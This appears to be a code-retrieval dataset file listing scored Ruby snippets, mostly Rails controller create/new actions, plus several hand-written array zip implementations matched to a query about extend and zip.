"text": "def create\n\t\t@river = River.new(params[:river])\n\t\t\n\t\trespond_to do |format|\n\t\t\tif @river.save\n\t\t\t\tformat.html { redirect_to @river, notice: 'River was successfully created.' }\n\t\t\t\tformat.json { render json: @river, status: :created, location: @river }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @river.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5a473f1f1305a56c012ceaf1e7a97a23",
"score": "0.47513384",
"text": "def new\n @pun = Pun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pun }\n end\n end",
"title": ""
},
{
"docid": "d54c124741a6817468a85ab4cb62ff1a",
"score": "0.47498187",
"text": "def create\n @unterprodukt = Unterprodukt.new(unterprodukt_params)\n\n respond_to do |format|\n if @unterprodukt.save\n format.html { redirect_to @unterprodukt, notice: 'Unterprodukt was successfully created.' }\n format.json { render :show, status: :created, location: @unterprodukt }\n else\n format.html { render :new }\n format.json { render json: @unterprodukt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cd94fa43754729e0b8da15837377205b",
"score": "0.4746298",
"text": "def create\n @verbindung = Verbindung.new(params[:verbindung])\n\n respond_to do |format|\n if @verbindung.save\n format.html { redirect_to @verbindung, notice: 'Verbindung was successfully created.' }\n format.json { render json: @verbindung, status: :created, location: @verbindung }\n else\n format.html { render action: \"new\" }\n format.json { render json: @verbindung.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "398134bc41a433597779ce40de43e3ee",
"score": "0.47364184",
"text": "def create\n venture = Venture.new(venture_params)\n\n if venture.save \n render json: {venture: venture}, status: :created\n else\n render json: {status: 'Error', message: 'Venture not saved', data: venture.errors}, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "40a6f974a14ed49eb74b3de150f6dbf7",
"score": "0.47346616",
"text": "def create\n @ventaganancium = Ventaganancium.new(ventaganancium_params)\n\n respond_to do |format|\n if @ventaganancium.save\n format.html { redirect_to @ventaganancium, notice: 'Ventaganancium was successfully created.' }\n format.json { render :show, status: :created, location: @ventaganancium }\n else\n format.html { render :new }\n format.json { render json: @ventaganancium.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "49cf1d25ae99c8905f7e89a02b80c453",
"score": "0.47329432",
"text": "def create body = {}\n @connection.request(method: :post, path: \"/volumes/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end",
"title": ""
},
{
"docid": "a8c9ad32731e8e0ddeb7f545a6d237c4",
"score": "0.47301227",
"text": "def survivor_params\n params.require(:survivor)\n .permit(:name, :age, :gender, :lat, :lng, :infected,\n :inventory_attributes => [:water, :food, :medication, :ammo])\n end",
"title": ""
},
{
"docid": "2200603c5568dd03778934103d850345",
"score": "0.47292536",
"text": "def create\n\n @reunion = Reunion.new(params[:reunion])\n asistente_ids = params[:asistente_ids]\n respond_to do |format|\n unless asistente_ids.nil? or asistente_ids.size < 2 then\n if @reunion.save\n\n asistente_ids.each do |asistente|\n @Asistente = ReunionsEstudiantes.new(:reunion_id => @reunion.id, :estudiante_id => asistente, :finalizado => false)\n @Asistente.save\n\n estudiante = Estudiante.find(:all, :conditions => [ \"id = ?\", asistente ])\n\n if asistente.to_f < 100 then\n datosAsist = {:nombre => estudiante[0].nombreEstudiante,\n :correo => estudiante[0].correoElectronico + \"@uniandes.edu.co\"}\n else\n profesor = Profesor.find(asistente)\n correo = \"harjair@hotmail.com\"\n datosAsist = {:nombre => profesor.nombre, :correo => correo}\n end\n\n UserMailer.notificar_reunion(datosAsist, @reunion).deliver\n end\n\n format.html { redirect_to @reunion, notice: 'Reunion creada exitosamente.' }\n format.json { render json: @reunion, status: :created, location: @reunion }\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @reunion.errors, status: :unprocessable_entity }\n end\n else\n @reunion.errors[:estudiante_ids] = \"Seleccione al menos dos asistentes a la reunión\"\n format.html { render action: \"new\" }\n format.json { render json: @reunion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "34822ad4f503cb85240bc589bdf19def",
"score": "0.4728125",
"text": "def medieval_composers\n response = RestClient.get 'https://api.openopus.org/composer/list/epoch/Medieval.json'\n json = JSON.parse response\n puts json\n\n if !json.nil?\n json[\"composers\"].map do |composer|\n Composer.create(name: \"#{composer[\"complete_name\"]}\", birth: \"#{composer[\"birth\"]}\", death: \"#{composer[\"death\"]}\", portrait: \"#{composer[\"portrait\"]}\", period_id: 1)\n end\n else\n puts \"Error seeding composers\"\n end\nend",
"title": ""
},
{
"docid": "c56a58d0538379fd56f7345400f744dc",
"score": "0.47174293",
"text": "def new\n\t @recipient_array = User.all.map &:nick\n @postum = Postum.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @postum }\n end\n end",
"title": ""
},
{
"docid": "319454aa3a1e0ce6471b90ba3b5fbaab",
"score": "0.47171515",
"text": "def create\n @vendedor = Vendedor.new(vendedor_params)\n\n respond_to do |format|\n if @vendedor.save\n format.html { redirect_to @vendedor, notice: 'Vendedor was successfully created.' }\n format.json { render :show, status: :created, location: @vendedor }\n else\n format.html { render :new }\n format.json { render json: @vendedor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "319454aa3a1e0ce6471b90ba3b5fbaab",
"score": "0.47171515",
"text": "def create\n @vendedor = Vendedor.new(vendedor_params)\n\n respond_to do |format|\n if @vendedor.save\n format.html { redirect_to @vendedor, notice: 'Vendedor was successfully created.' }\n format.json { render :show, status: :created, location: @vendedor }\n else\n format.html { render :new }\n format.json { render json: @vendedor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d26360f0420d2f98a729bc1f3f0b0f01",
"score": "0.47145775",
"text": "def create\n #Refactor maybe is this the best way to associate a post with the current user?\n @post = current_user.posts.build(post_params.slice(:content, :user_id, :asset))\n #@post.tag_list = @post.extract_tags\n @post.build_tags(params[:tag_list])\n\n if @post.save\n render json: @post, status: :created\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5fd4c67b9e1a06657fc7a1ecead7130e",
"score": "0.4703462",
"text": "def create\n @unidade = Unidade.new(unidade_params)\n\n respond_to do |format|\n if @unidade.save\n format.html { redirect_to @unidade, notice: 'Unidade foi criada com sucesso.' }\n format.json { render :show, status: :created, location: @unidade }\n else\n format.html { render :new }\n format.json { render json: @unidade.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "859c3ecaa1b69b9bb4d1d17ba2d0485a",
"score": "0.47011152",
"text": "def create\n @quiver = Quiver.new(quiver_params)\n\n respond_to do |format|\n if @quiver.save\n format.html { redirect_to @quiver, notice: 'Quiver was successfully created.' }\n format.json { render :show, status: :created, location: @quiver }\n else\n format.html { render :new }\n format.json { render json: @quiver.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "48fc44070aed214a9ebf5413049b9bd5",
"score": "0.4698867",
"text": "def urun_params\n params.require(:urun).permit(:adi, :paket_tipi, :stok, :date)\n end",
"title": ""
},
{
"docid": "e518fdacde092d4a506ebbbb107523dd",
"score": "0.4695164",
"text": "def create\n tag = @user.tags.new(:location => params[:location])\n\n if tag.save\n render :status => 200,\n :json => tag_as_hash(tag).merge(status: 200)\n else\n render :status => 400,\n :json => {\n status: 400,\n message: \"Bad request\",\n errors: tag.errors,\n }\n end\n end",
"title": ""
},
{
"docid": "2ea0c9df45e871d83e49de23d366c5f6",
"score": "0.46924672",
"text": "def create\n params[:voluntario].delete :inclusoes\n @voluntario = Voluntario.new(params[:voluntario])\n\n respond_to do |format|\n if @voluntario.save\n format.html { redirect_to(@voluntario, :notice => 'Voluntário criado com sucesso.') }\n format.xml { render :xml => @voluntario, :status => :created, :location => @voluntario }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @voluntario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "084d1a064b405341627a54ef1960568f",
"score": "0.4690644",
"text": "def create\n @vegetable = Vegetable.new(vegetable_params)\n\n respond_to do |format|\n if @vegetable.save\n format.html { redirect_to @vegetable, notice: 'Vegetable was successfully created.' }\n format.json { render :show, status: :created, location: @vegetable }\n else\n format.html { render :new }\n format.json { render json: @vegetable.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa9950df0514485d0467265a1495269d",
"score": "0.46904105",
"text": "def create\n @paper_venue = PaperVenue.new(params[:paper_venue])\n\n respond_to do |format|\n if @paper_venue.save\n format.html { redirect_to @paper_venue, :notice => 'Paper venue was successfully created.' }\n format.json { render :json => @paper_venue, :status => :created, :location => @paper_venue }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @paper_venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "48c833dfc476026e741ad6be0eb70fa1",
"score": "0.46861303",
"text": "def create\n @university = University.new(params[:university])\n\n respond_to do |format|\n if @university.save\n format.html { redirect_to @university, notice: 'University was successfully created.' }\n format.json { render json: @university, status: :created, location: @university }\n else\n format.html { render action: \"new\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "48c833dfc476026e741ad6be0eb70fa1",
"score": "0.46861303",
"text": "def create\n @university = University.new(params[:university])\n\n respond_to do |format|\n if @university.save\n format.html { redirect_to @university, notice: 'University was successfully created.' }\n format.json { render json: @university, status: :created, location: @university }\n else\n format.html { render action: \"new\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9b272491f9f80ffafcd62aeaba743ca5",
"score": "0.46839225",
"text": "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n @universities_ids = EmbedCodeUniversity.all.ids\n events_universities = []\n @universities_ids.each do |university_id|\n events_universities << EventsUniversity.new(:event_id => @event.id, :embed_code_university_id => university_id)\n end\n EventsUniversity.import events_universities\n format.html { redirect_to events_url, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b77ade95ce218839325ab7b1948733ea",
"score": "0.46827513",
"text": "def new\n @u_ser = USer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @u_ser }\n end\n end",
"title": ""
},
{
"docid": "a300d84457fc1805b826ee3d78be408a",
"score": "0.46799213",
"text": "def create\n @ventas_presupuesto = Ventas::Presupuesto.new(params[:ventas_presupuesto])\n @ventas_presupuesto.vendedor = current_user.id\n\n respond_to do |format|\n if @ventas_presupuesto.save\n format.html { redirect_to @ventas_presupuesto, notice: 'Presupuesto was successfully created.' }\n format.json { render json: @ventas_presupuesto, status: :created, location: @ventas_presupuesto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ventas_presupuesto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "597b25778037c7909c38c31482783958",
"score": "0.46797815",
"text": "def destroy\n @universe = Universe.find(params[:id])\n @universe.destroy\n\n respond_to do |format|\n format.html { redirect_to(universes_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "458b645f99504d8bd55bc8967853e200",
"score": "0.46782297",
"text": "def set_district_area\n \n\t r = open(\"http://localhost:3001/district_areas/\" + params[:id] + \".json\").read\n\t #r = open(\"http://floating-chamber-80486.herokuapp.com/district_areas/1.json\").read\n\t hash = JSON.parse(r)\n\t upzsJSON = hash[\"upzs\"]\n\t hash.delete(\"url\")\n\t hash.delete(\"upzs\")\n\t p hash\n\t p upzsJSON\n\t @district_area = DistrictArea.new(hash)\n\t p @district_area.inspect\n\t \n\t upzsJSON.each do |currentUPZ|\n\t\t@district_area.upzs << Upz.new(currentUPZ)\n\t\tend\n\trescue \n\t\t p \"EL RECURSOO NO EXISTEEEEEE\"\n\t\trender json: {}, status: :ok\n\tend",
"title": ""
},
{
"docid": "519198608870334ec6a6d2e8eca03bec",
"score": "0.46781278",
"text": "def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end",
"title": ""
},
{
"docid": "2b541d02cf6f9c1cd736662470a44d0c",
"score": "0.46749353",
"text": "def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end",
"title": ""
},
{
"docid": "2b541d02cf6f9c1cd736662470a44d0c",
"score": "0.46749353",
"text": "def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end",
"title": ""
},
{
"docid": "2b541d02cf6f9c1cd736662470a44d0c",
"score": "0.46749353",
"text": "def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end",
"title": ""
},
{
"docid": "a0c2aa47f1e5fbcd62bb70577c13e80c",
"score": "0.46739388",
"text": "def create\n @lectura = Lectura.new(lectura_params)\n\n articulo = @lectura.articulo\n articulo.upr = @lectura.lector.posicion\n articulo.save\n\n respond_to do |format|\n if @lectura.save\n format.html { redirect_to lecturas_path, notice: 'Lectura creada con éxito.' }\n format.json { render :show, status: :created, location: @lectura }\n else\n format.html { render :new }\n format.json { render json: @lectura.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d731f6401aed04365df9d8b0d13136d9",
"score": "0.46537828",
"text": "def create\n @venue = Venue.new(venue_params)\n\n if @venue.save\n render json: @venue, status: :created, location: @venue\n else\n render json: {errors: @venue.errors}, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "4502e6dc612dd430d1e939880e7f631e",
"score": "0.46487895",
"text": "def index\n @unovas = Unova.all\n end",
"title": ""
},
{
"docid": "715c5a4794cbe73dd4d3ac394ee6848a",
"score": "0.4647926",
"text": "def create\n @unidades = Unidade.new(params[:unidade])\n respond_to do |format|\n if @unidades.save\n flash[:notice] = 'UNIDADE CADASTRADA COM SUCESSO.'\n format.html { redirect_to(@unidades) }\n format.xml { render :xml => @unidades, :status => :created, :location => @unidades }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @unidades.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5aa382e6d8116edf84e2786f4e6b5ed1",
"score": "0.46474043",
"text": "def create\n @volantino = Volantino.new(params[:volantino])\n\n respond_to do |format|\n if @volantino.save\n format.html { redirect_to @volantino, notice: 'Volantino was successfully created.' }\n format.json { render json: @volantino, status: :created, location: @volantino }\n else\n format.html { render action: \"new\" }\n format.json { render json: @volantino.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6e7628e0cf9ab390808b82db53697b0d",
"score": "0.4639482",
"text": "def index\n @universities = University.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @universities }\n end\n end",
"title": ""
},
{
"docid": "d881733522d6d000c5dd5250f21727a7",
"score": "0.46387422",
"text": "def create\n @tipo_unidad = TipoUnidad.new(tipo_unidad_params)\n\n respond_to do |format|\n if @tipo_unidad.save\n format.html { redirect_to @tipo_unidad, notice: 'Tipo unidad was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_unidad }\n else\n format.html { render :new }\n format.json { render json: @tipo_unidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9e96b06964b26c0cb2677f62b0a08bdc",
"score": "0.46387246",
"text": "def create\n @tags_of_novel = TagsOfNovel.new(params[:tags_of_novel])\n\n respond_to do |format|\n if @tags_of_novel.save\n format.html { redirect_to @tags_of_novel, notice: 'Tags of novel was successfully created.' }\n format.json { render json: @tags_of_novel, status: :created, location: @tags_of_novel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tags_of_novel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c25c65825fe0cad82dc268d21b4f2529",
"score": "0.46349248",
"text": "def create\n @estacionamiento = Estacionamiento.new(estacionamiento_params)\n @lista_departamentos = Ubigeo.find_by_sql(\"select distinct idDepartamento, Departamento from ubigeos\")\n @lista_provincias = Ubigeo.find_by_sql(\"select distinct idProvincia, Provincia from ubigeos\")\n @lista_distritos = Ubigeo.find_by_sql(\"select distinct idDistrito, Distrito from ubigeos\")\n @serv_adicinales = ServAdicinale.all\n\n respond_to do |format|\n if @estacionamiento.save\n format.html { redirect_to @estacionamiento, notice: 'Estacionamiento was successfully created.' }\n format.json { render :show, status: :created, location: @estacionamiento }\n else\n format.html { render :new }\n format.json { render json: @estacionamiento.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e56959b9038b40906a80d3980647e400",
"score": "0.46326324",
"text": "def new\n @user = User.new\n sem = Seminar.all\n @seminars = Hash.new\n @topics = Hash.new\n sem.each do |t|\n @seminars[t.id] = t;\n @topics[t.id] = Hash.new\n t.topics.each do |u|\n @topics[t.id][u.id] = u;\n @user.selections.build(:seminar_id=>t.id, :topic_id=>u.id)\n end\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"title": ""
},
{
"docid": "17e8fe85a18960defd1e0986db27d312",
"score": "0.46313512",
"text": "def create\n @verb = Verb.new(verb_params)\n\n if @verb.save\n render json: @verb, status: :created, location: @verb\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "8e612dc22d03604adeeb3e3bfeae1144",
"score": "0.4631237",
"text": "def create\n post_params = {\n name: params[:name].downcase,\n units: params[:units] || 0\n }\n render json: Ingredient.create!(post_params), status: :created\n end",
"title": ""
},
{
"docid": "7d77795445e426b08ddb1a38ef59b8c8",
"score": "0.4629655",
"text": "def new\r\n @usertable = Usertable.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @usertable }\r\n end\r\n end",
"title": ""
},
{
"docid": "ea5eda2bc38502a72826d5b52ae27460",
"score": "0.4626774",
"text": "def create\n @russian_roulette = RussianRoulette.new(russian_roulette_params)\n @russian_roulette.bulloc = @bulloc\n @russian_roulette.round = @round\n @russian_roulette.alive = @alive\n\n respond_to do |format|\n if @russian_roulette.save\n format.html { redirect_to @russian_roulette, notice: 'Russian roulette was successfully created.' }\n format.json { render :show, status: :created, location: @russian_roulette }\n else\n format.html { render :new }\n format.json { render json: @russian_roulette.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5f8aff9184d01b8d019aef84268ff33",
"score": "0.46249348",
"text": "def create\n @souvenir = Souvenir.new(souvenir_params)\n\n respond_to do |format|\n if @souvenir.save\n format.html { redirect_to @souvenir, notice: 'Souvenir was successfully created.' }\n format.json { render :show, status: :created, location: @souvenir }\n else\n format.html { render :new }\n format.json { render json: @souvenir.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "17375051a6f5b79993ea3ef01210eadc",
"score": "0.46235675",
"text": "def create\n #assign unpermitted parameter 'entries' to a variable\n entries = params[\"entries\"]\n @invoice = @user.invoices.build(invoice_params)\n #save entries\n @invoice.entries = entries\n if @invoice.save\n render json: @invoice, status: :created, location: api_v1_user_invoice_url(@user, @invoice)\n else\n render json: @invoice.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "24619e18505462a3fb9ddce9a3fcc16e",
"score": "0.4623446",
"text": "def create\n @sinh_vien = SinhVien.new(params[:sinh_vien])\n\n respond_to do |format|\n if @sinh_vien.save \n format.json { render json: @sinh_vien, status: :created, location: @sinh_vien }\n else \n format.json { render json: @sinh_vien.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c3ed3c1c9cd60f7ef8b33f551d144aa4",
"score": "0.4611491",
"text": "def create\n @photo = Photo.new(params[:photo].merge(poster_id: session_guest.id))\n respond_to do |format|\n if @photo.save\n taggable_guests = [groom, bride]\n\n taggable_guests.each do |taggable_guest|\n if (params.has_key?(:taglist) and params[:taglist][taggable_guest.id.to_s] == \"true\") \n @photo.guests << taggable_guest unless @photo.guests.include?(taggable_guest)\n else\n @photo.guests.delete(taggable_guest) if @photo.guests.include?(taggable_guest)\n end\n end\n format.html { redirect_to photos_path, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { redirect_to photos_path, alert: 'Error uploading photo.' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
f6a7f5adda8cc772d4e4941a7804221e
|
used for extend and zip
|
[
{
"docid": "a093ba10efad76d6536c6e07264543a1",
"score": "0.0",
"text": "def initialize\n @head = nil\n end",
"title": ""
}
] |
[
{
"docid": "150c3c3890e5b4b6fe4cd199a732601c",
"score": "0.72093374",
"text": "def zip(*rest) end",
"title": ""
},
{
"docid": "0af21fe2107d58f52354fe891346ab22",
"score": "0.66465807",
"text": "def custom_zip (arr1, arr2)\n final = []\n arr1.each_with_index do |item, index|\n final << [item, arr2[index]]\n end\n final\nend",
"title": ""
},
{
"docid": "b726573e6cdd84fa520b4e089ba02d61",
"score": "0.6627075",
"text": "def zip(first, second)\n first.zip(second)\nend",
"title": ""
},
{
"docid": "dc37014bd533ae3bc190302aeba16234",
"score": "0.658904",
"text": "def custom_zip(arr1, arr2)\n final=[]\n arr1.each_with_index do |item, index|\n nested_array= []\n arr2.each_with_index do |item2, index2|\n if index == index2\n nested_array << item\n nested_array << item2\n final << nested_array\n end\n end\n end\n final\nend",
"title": ""
},
{
"docid": "89bcd2ea15fdc4f6a9dd68a6f314b92f",
"score": "0.65182024",
"text": "def my_zip(*arrs)\n zipped = []\n self.each_with_index do |ele, i|\n sub = [ele]\n arrs.each do |arr|\n sub << arr[i]\n end\n zipped << sub\n end\n zipped\n end",
"title": ""
},
{
"docid": "4aaa33c75d1918c3264b388ff0e73561",
"score": "0.6499535",
"text": "def custom_zip(arr1, arr2)\n result = []\n arr1.each_with_index do |item, index|\n result << [arr1[index], arr2[index]]\n end\n result\nend",
"title": ""
},
{
"docid": "617c2874d5873f45a88e4e63fd5fabef",
"score": "0.6458601",
"text": "def custom_zip(arr1, arr2)\n final = []\n arr1.each_with_index do |value, index|\n final << [value, arr2[index]]\n end\n final\nend",
"title": ""
},
{
"docid": "773512aa59fe6beb6792955872f5362d",
"score": "0.64462686",
"text": "def zip( *other_arrays, & block )\n\n load_parent_state\n \n return super\n \n end",
"title": ""
},
{
"docid": "234de764b6399dc00d18b4940065a327",
"score": "0.6400097",
"text": "def zip\n end",
"title": ""
},
{
"docid": "8c3e96209817f04d2841ab7dfd701baa",
"score": "0.63907975",
"text": "def combine_zip(a, b)\n if a.length < b.length\n # fill in if a shorter than b\n a += Array.new(b.length - a.length)\n end\n a.zip(b).flatten!\nend",
"title": ""
},
{
"docid": "2bbd87f65f5fc959afd7e6305bc2061f",
"score": "0.63693696",
"text": "def zip\n end",
"title": ""
},
{
"docid": "06589a80df8e758086ff77e1093363f7",
"score": "0.6327859",
"text": "def my_zip(*args)\n zipped = Array.new(self.length) {[]}\n\n self.each_with_index { |el, i_arr| zipped[i_arr] << el}\n args.each_with_index do |arg, i_arg|\n (zipped.length).times {|i_arg_el| zipped[i_arg_el] << arg[i_arg_el]}\n end\n zipped\n end",
"title": ""
},
{
"docid": "f680315cd6ccb8a3fb8a2ec6d7edca99",
"score": "0.63036567",
"text": "def zip(ar1, ar2)\n zip_rec = ->(ar1, ar2, result) do\n case [ar1, ar2]\n when [[], []]\n result\n else\n zip_rec.(ar1[1..-1], ar2[1..-1], result << [ar1[0], ar2[0]])\n end\n end\n zip_rec.(ar1, ar2, [])\nend",
"title": ""
},
{
"docid": "758163adab8849776f8d265cdcac9e5a",
"score": "0.62907773",
"text": "def custom_zip(arr1, arr2)\n final = []\n arr1.each_with_index { |name, index| final << [name, arr2[index]] }\n final\nend",
"title": ""
},
{
"docid": "6bc1ef7869736c259a92adfd15fb827c",
"score": "0.6238795",
"text": "def zip(arr1, arr2)\n zipped = []\n arr1.each_with_index do |el, i|\n zipped << [el, arr2[i]]\n end\n zipped\nend",
"title": ""
},
{
"docid": "f0f3f1c7241bf0680bf2c5501af70dec",
"score": "0.62383366",
"text": "def zip(arr1, arr2)\n arr1.each_with_index.with_object([]) do |(el, i), z|\n z << [el, arr2[i]]\n end\nend",
"title": ""
},
{
"docid": "77fd0871b3d7f7fee53dbbbe56f27cf5",
"score": "0.6223817",
"text": "def custom_zip(arr1, arr2)\n new_nested = []\n arr1.each_with_index do | arr1_value, arr1_index |\n arr2.each_with_index do | arr2_value, arr2_index |\n if arr1_index == arr2_index\n arr3 = [arr1[arr1_index], arr2[arr2_index]]\n new_nested << arr3\n end # end of if\n end # end of do (array 2)\n end # end of do (array 1)\n new_nested\nend",
"title": ""
},
{
"docid": "541bba22ffa3e4f94578a2bb3936ca77",
"score": "0.6222149",
"text": "def zip(first, second)\n first.zip(second).flatten\nend",
"title": ""
},
{
"docid": "16fdc4be8edab7235c459f8b8f3ca93c",
"score": "0.6192532",
"text": "def zip(arr1, arr2)\n arr1.each_with_index.with_object([]) do |(el, idx), arr|\n arr << [el, arr2[idx]]\n end\nend",
"title": ""
},
{
"docid": "bfbb39b83d0f45852eb0c3b57ff44043",
"score": "0.6187533",
"text": "def zip(arr1, arr2)\n zipped = []\n arr1.each_with_index { |ele, ind| zipped << [ele, arr2[ind]] }\n zipped\nend",
"title": ""
},
{
"docid": "22518611ea6742e8014b5900a7d304aa",
"score": "0.6182833",
"text": "def zip first, second\n first.zip(second).flatten()\nend",
"title": ""
},
{
"docid": "548b7e1c591ef5649d81faf34c17c67e",
"score": "0.6136264",
"text": "def extend(*rest) end",
"title": ""
},
{
"docid": "0a32f761960d029500b7347be090f910",
"score": "0.6113564",
"text": "def zip_with(a, b, &op)\n result = []\n a.zip(b){ |aa,bb| result << op.call(aa,bb)}\n result\nend",
"title": ""
},
{
"docid": "de133edd299a61cf7a534617e6dda483",
"score": "0.6111115",
"text": "def zipper(arr1, arr2)\n arr1.map.with_index { |val, idx| [val] << arr2[idx] }\nend",
"title": ""
},
{
"docid": "1d9c055af01184286ed10716ad2d5427",
"score": "0.60713685",
"text": "def interzip(array1, array2)\n array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "8857c77bd85eac7a90515582b05bfa0f",
"score": "0.597072",
"text": "def custom_zip(arr1, arr2, arr3)\n arr = []\n nest_arr = []\n arr1.each do |i|\n k = [] #initialize a temporary array\n k.push(i) #pushed first val\n k.push(arr2[arr1.index(i)]) #pushed 2nd val\n k.push(arr3[arr1.index(i)]) #pushed 3rd val\n nest_arr = k #assigned to nest_arr\n arr.push(nest_arr) # pushed nest_arr to arr in order to nest in\n end\n\n p arr\nend",
"title": ""
},
{
"docid": "fcf6f896eb2e20bb3be3b2af41f28813",
"score": "0.5941334",
"text": "def interleave(a, b)\n a.zip(b).flatten\nend",
"title": ""
},
{
"docid": "545d1c37a77371d309474b2b52569ea9",
"score": "0.5923763",
"text": "def zip(arr1, arr2)\n index = 0\n zipped = []\n while index < arr1.length\n zipped << [arr1[index], arr2[index]]\n index += 1\n end\n zipped\nend",
"title": ""
},
{
"docid": "2a9cd6b3a3651ca32d98c466be5614ec",
"score": "0.59198254",
"text": "def zip(array1, array2)\n results = []\n array1.each_with_index do |current_element, current_index|\n results << [current_element, array2[current_index]]\n end\n results\nend",
"title": ""
},
{
"docid": "c8498cb8b15d5b91950012ee527d4210",
"score": "0.588118",
"text": "def zip(arr_1, arr_2)\n new_arr = []\n arr_1.size.times do |i|\n new_arr << [arr_1[i], arr_2[i]]\n end\n new_arr\nend",
"title": ""
},
{
"docid": "0ac09fbc2c18add2aab5ea248a1d2634",
"score": "0.5859918",
"text": "def zip(*arr)\n new_arr = []\n i = 0\n while i < arr[0].length\n temp = []\n arr.each do |subarray|\n temp << subarray[i]\n end\n new_arr << temp\n i += 1\n end\n new_arr\nend",
"title": ""
},
{
"docid": "75eadc06cb656d1cddfd21433c662bb7",
"score": "0.5858535",
"text": "def test_0300_zip\n @@log.debug \"test_0300_zip starts\" if @@log.debug?\n assert_respond_to(@list, :zip, \"test_0300_zip_respond\")\n # Basic example\n a = [1]\n b = [2,3]\n c = [4,5,6]\n ta = @list.zip(a, b, c)\n #\n te = [[@aen, 1, 2, 4], \n [@bsb, nil, 3, 5], \n [@cab, nil, nil, 6], \n [@dad, nil, nil, nil]]\n #\n assert_equal(te, ta, \"test_0300_zip_basic\")\n # TODO: A practical example ??? What could this possibly be used for??\n @@log.debug \"test_0300_zip ends\" if @@log.debug?\n end",
"title": ""
},
{
"docid": "b04b4ecc6e4d2f0ba609c7b73df1830f",
"score": "0.584702",
"text": "def lecturer_zip(arr1,arr2)\n final = []\n arr1.each_with_index { |value, index| final << [value, arr2[index]] }\n final\nend",
"title": ""
},
{
"docid": "3fdd60151ceb6ced47d4bb5c97a9e54d",
"score": "0.5838262",
"text": "def zip(arr1, arr2)\n result = []\n idx = 0\n loop do\n result << [arr1[idx], arr2[idx]]\n idx += 1\n break if idx == arr1.size\n end\n result\nend",
"title": ""
},
{
"docid": "073f3d011f155d883658f59b01184e00",
"score": "0.5830087",
"text": "def my_zip(*given_arrays)\n result = []\n\n self.each_with_index do |el, idx|\n internal_array = [el]\n given_arrays.each { |given_array| internal_array << given_array[idx] }\n result << internal_array\n end\n\n result\n end",
"title": ""
},
{
"docid": "2a638b3b03953bf8fe48c6a8a7e4c1f3",
"score": "0.5828801",
